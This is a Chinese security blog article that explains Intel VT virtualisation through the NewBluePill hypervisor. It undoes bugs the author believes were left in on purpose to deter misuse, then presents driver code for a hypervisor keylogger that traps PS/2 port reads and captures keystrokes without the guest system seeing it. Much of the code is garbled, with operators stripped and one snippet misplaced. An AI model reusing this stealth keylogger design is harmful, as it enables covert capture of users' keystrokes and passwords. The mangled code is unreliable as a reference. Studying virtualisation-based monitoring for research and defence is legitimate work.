探索黑客技术攻防,实战研究与安全创新

导航菜单

虚拟化与键盘记录的那些事儿

Intel-VT(VirtualizationTechnology,虚拟化技术)的产生是为了解决纯软件虚拟化解决方案在可靠性、安全性和性能上的不足,亦可以认为是硬件虚拟化技术。而近些年,VT在安全领域内也体现出了很重要的研究价值。

应用Intel-VT可以在一台计算机内运行多个操作系统(虚拟机),并可以把当前正在运行的操作系统设置为虚拟机。由于所有虚拟机的行为都受到VMM的监管,所以如果把当前操作系统也当作是虚拟机的话,便能对其进行深度的行为监控。VMCS(VirtualMachineControlSecion,虚拟机控制环境块)中有一些控制字段,用来标示VMM对虚拟机的哪些行为感兴趣,如果将这些字段设置为有效,那么当虚拟机触发执行这些特定指令时,会产生VMEXIT事件,并由GuestOS进入VMM,即从non-root模式切换到root模式,程序执行的流程也随即进入了VMM提供的VmExitHandler例程,在该回调例程中,VMM可以读写GuestOS的所有数据,进行一定的处理后,例程结束,并产生VMENTRY时间使CPU重新陷入non-root模式,GuestOS由此继续执行。如图1所示。

A31.png

图1

也许上面的叙述有点儿绕舌,我们用一个通俗的比喻来讲,就是VT能实现对指令的“HOOK”,因此VT在安全领域内有着很大的施展空间。本文以键盘记录为例,展示VT的指令监控过程。

搭建调试环境

由于VT相关的指令都需要Ring0权限,所以实现虚拟化核心功能的代码需要封装为驱动程序,并加载到内核里执行,故本文的代码都需要由WDK进行编译。

研究VT最好的学习资料是InvisibleThingsLab在BlackHat大会上发表的开源代码NewBluePill(后文简称NBP),该项目实现了一个基础的虚拟化引擎,且逻辑清晰、体积较小,可谓是麻雀虽小五脏俱全。在网上可以找到该项目的最新版是NewBluePill-0.32-Public,但这个公开的版本存在很多问题,仔细读过其代码后,可以感觉到有很多BUG明显是人为留下的,目的应该是防止伸手党直接用代码去做坏事。不过我们若想深入学习VT,自然要将NBP编译后进行调试,所以首先得把作者挖的坑填了。

1)NBP驱动卸载死机

公开版的驱动只能被加载,一旦卸载驱动,则会造成死机。因为卸载必须在VMM的root模式下进行,而当DriverUnload被调用时,系统仍处于non-root模式,所以必须通过Hypercall的方法陷入VMM,把卸载驱动的任务交给VMM。查看NBP的代码可知,Hypercall实现在hypercall.c文件里,DriverUnload最终会调用到HcMakeHypercall来发起Hypercall陷入VMM,但是VMM内却没有对VMCALL指令产生的VMEXIT作处理,而是直接返回结果,表示VMEXIT已处理完毕,实际上却没有在VMM执行相应的卸载流程,因此系统仍在虚拟机中运行,随后DriverUnload会释放资源,使虚拟机的状态无法维持,进而导致出错死机。弄清楚了原理,我们便明了了,如想让它正常卸载,只需要修改vmxtraps.c里的代码,让它按合适的方法处理Hypercall以便执行VMM层的卸载代码即可。


[vmxtraps.c]
...
//为所有VM指令造成的VMExit设置一个无用的处理函数,VMCALL则作为Hypercall
处理
for(i=0;isizeof(TableOfVmxExits)/sizeof(ULONG32);i++){
if(TableOfVmxExits[i]==EXIT_REASON_VMCALL){
if(!NT_SUCCESS(Status=TrInitializeGeneralTrap(Cpu,EXIT_REASON_VMCALL,0,
//lengthoftheinstruction,0meanslengthneedtobegetfromvmcslater.
VmxDispatchHypercall,Trap))){
_KdPrint((VmxRegisterTraps():FailedtoregisterVmxDispatchHypercallwith
status0x%08hX\n,Status));
returnStatus;
}
}else{
if(!NT_SUCCESS(Status=TrInitializeGeneralTrap(Cpu,TableOfVmxExits[i],0,
//lengthoftheinstruction,0meanslengthneedtobegetfromvmcslater.
VmxDispatchVmxInstrDummy,Trap))){
_KdPrint((VmxRegisterTraps():FailedtoregisterVmxDispatchVmonwithstatus
0x%08hX\n,Status));
returnStatus;
}
}
TrRegisterTrap(Cpu,Trap);
}
...


2)断点触发时死机

一旦开启VMLAUNCH以后,无法在VMM的代码上下断点,比如bpnewbp!VmxVmexitHandler,如果断点被触发的话,虚拟机就失去了响应,Windbg也定在那里不动了。经过实验发现这个问题的源头是NBP的内存隐藏模型,我们只要取缔掉NBP自己的内存管理系统,便可以用Windbg在VMM的代码上下断调试了。

NBP的内存管理主要实现在paging.c里,观察NBP分配内存使用的自定义函数MmAllocatePages,可以看出它首先用ExAllocatePoolWithTag申请内存,然后会对页做一些处理,以实现自己的内存管理。我们将其对内存的多余操作删去,仅让它单纯地对ExAllocatePoolWithTag进行包装(MmAllocateContiguousPages和MmAllocateContiguousPagesSpecifyCache同理)。


[paging.c]
...
PVOIDNTAPIMmAllocatePages(
ULONGuNumberOfPages,
PPHYSICAL_ADDRESSpFirstPagePA
)
{
PVOIDPageVA;
PHYSICAL_ADDRESSPagePA;
if(!uNumberOfPages)
returnNULL;
PageVA
=ExAllocatePoolWithTag(NonPagedPool,uNumberOfPages*PAGE_SIZE,
ITL_TAG);
if(!PageVA)
returnNULL;
RtlZeroMemory(PageVA,uNumberOfPages*PAGE_SIZE);
if(pFirstPagePA)
*pFirstPagePA=MmGetPhysicalAddress(PageVA);
returnPageVA;
}
...


之后要更改VmxSetupVMCS中设置VMCS.CR3的部分,让GuestOS使用当前系统的页目

录指针,而非NBP自己的页目录。


[vmx.c]
...
VmxWrite(HOST_CR3,RegGetCr3());
...

同时删掉HvmSetupGdt函数中映射任务状态段的一句代码:

[vmx.c]

...

VmxWrite(HOST_CR3,RegGetCr3());

...


最后还要把DriverEntry中MmInitManager之类的调用删掉,因为不再使用NBP自己的内存管理系统了,所以卸载时也不需要MmShutdownManager。

经过如上步骤将NBP的内存隐藏取缔后,便能使用Windbg在VMM代码上下断了,如图2所示。

A32.png

图2

值得一提的是,用Windbg调试VT并不是一个靠谱的方法,因为Windbg的实现原理是与Windows内核调试引擎交互,它的实现依赖于系统代码,而启动VT后,系统已经进入了non-root模式,成为了虚拟机,它本身的代码可能也会受到影响。但经过测试,用Windbg的确可以在有限的情况下调试NBP,并解决诸多问题,效率远高于DbgPrint调试法。另外,如果要在虚拟机里调试VT,则必须使用VMWare10及以上版本,并在CPU选项中勾选“虚拟化IntelVt-x/EPT或AMD-V/RVI(V)”,如图3所示。

A33.png

图3

以上工作做完后,便可以打开WDK控制台,切换到NBP目录,执行build_code来编译NBP了,如图4所示。

A34.png

图4

键盘记录

准备工作做充分了,下面便展示一个应用Intel-VT实现的键盘记录,其实现依赖于NBP的VMM引擎。

1)实现原理

根据键盘输入的原理可知,PS/2键盘8042控制芯片是从IO端口中读出按键扫描码的,在x86体系下,对外部IO端口的读写操作是通过in/out指令来完成的,而这两个指令可以由VMM所监控。因此我们可以更改VMCS里的字段,设置在执行in指令时触发VMEXIT,并将执行权交给VMM,VMM判断所读取的端口是否为与键盘IO相关的0x60或0x64号端口,如果是,则读出其中的内容,便成功地得到了按键信息,处理完毕后产生VMENTRY返回GuestOS,再让系统正常执行即可,整个过程对GuestOS来说都是透明的。

2)具体操作

首先需要通过CPU提供的VMCLEAR、VMPTRLD、VMREAD、VMWRITE等指令对VMCS的标志进行设置(在NBP中被封装为VmxRead、VmxWrite等函数),表明要对IO指令进行监控。


[vmx.c]
Interceptions=0;
Interceptions|=CPU_BASED_ACTIVATE_IO_BITMAP;
VmxWrite(CPU_BASED_VM_EXEC_CONTROL,VmxAdjustControls(Interceptions,
MSR_IA32_VMX_PROCBASED_CTLS));
VMCS初始化完毕后,再进行一系列的设置后对每个CPU执行VMLAUNCH指令开启虚拟化。
//__asmBYTE0Fh,01h,0C2h
VmxLaunch();
(__asmVMLAUNCH)
staticBOOLEANNTAPIVmxDispatchIoAccess(
PCPUCpu,
PGUEST_REGSGuestRegs,
PNBP_TRAPTrap,
BOOLEANWillBeAlsoHandledByGuestHv
)
{
ULONG32exit_qualification;
ULONG32port,size;
ULONG32dir,df,vm86;
staticULONG32ps2mode=0x1;
ULONG64inst_len;
if(!Cpu||!GuestRegs)
returnTRUE;
inst_len=VmxRead(VM_EXIT_INSTRUCTION_LEN);
if(Trap-General.RipDelta==0)
Trap-General.RipDelta=inst_len;
exit_qualification=(ULONG32)VmxRead(EXIT_QUALIFICATION);
init_scancode();
//IO端口
if(CmIsBitSet(exit_qualification,6))
port=(exit_qualification16)0xFFFF;
else
port=((ULONG32)(GuestRegs-rdx))0xFFFF;
//_KdPrint((IO0x%xIN0x%x%c\n,port,GuestRegs-rax,scancode[GuestRegs-rax
0xff]));
size=(exit_qualification7)+1;
dir=CmIsBitSet(exit_qualification,3);
if(dir){
/*direction*/
//输入IN
GuestRegs-rax=CmIOIn(port);
if(port==0x64){
//读取状态字,判断是否有按键消息
if(GuestRegs-rax0x20)
ps2mode=0x1;
//鼠标事件
else
ps2mode=0;
}elseif(port==0x60ps2mode==0x0(GuestRegs-rax0xFF)0x80){
KeyUp=KeyDown+0x80
//如果键盘按下,读出扫描码
_KdPrint((IOINPort:%xScancode:%xChar:%c\n,port,GuestRegs-rax
0xFF,scancode[GuestRegs-rax0xFF]));
//GuestRegs-rax=0;//拦截按键,不直接返回给Guest
#ifdef_X86_
//Cpu-Vmx.GuestVMCS.GUEST_ES_SELECTOR=0;
//键盘事件
//
#endif
}
}else{
//输出OUT
if(size==1)
CmIOOutB(port,(ULONG32)GuestRegs-rax);
if(size==2)
CmIOOutW(port,(ULONG32)GuestRegs-rax);
if(size==4)
CmIOOutD(port,(ULONG32)GuestRegs-rax);
_KdPrint((IO0x%xOUT0x%xsize0x%x\n,port,GuestRegs-rax,size));
}
returnTRUE;
}


加载驱动后,在键盘上输入KEYTEST,效果如图5所示。

A35.png

图5

本文的开发系统是Win7x64,截图上的测试系统(虚拟机)是Win2k3x64。实际代码在WindowsXP、Windows2003和Windows7上都测试通过,可以正常运行,且支持x86/x64两种架构。因为这个键盘记录的原理是拦截IN指令,所以只对PS/2键盘有效。USB键盘则不能用这种方法,但仍可以采用另一种思路来实现:用VT拦截键盘中断并处理,但其中细节相对复杂,本文主要目的在于介绍VT的使用方法并以NBP做演示,故尚未对USB键盘有深入研究。

本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。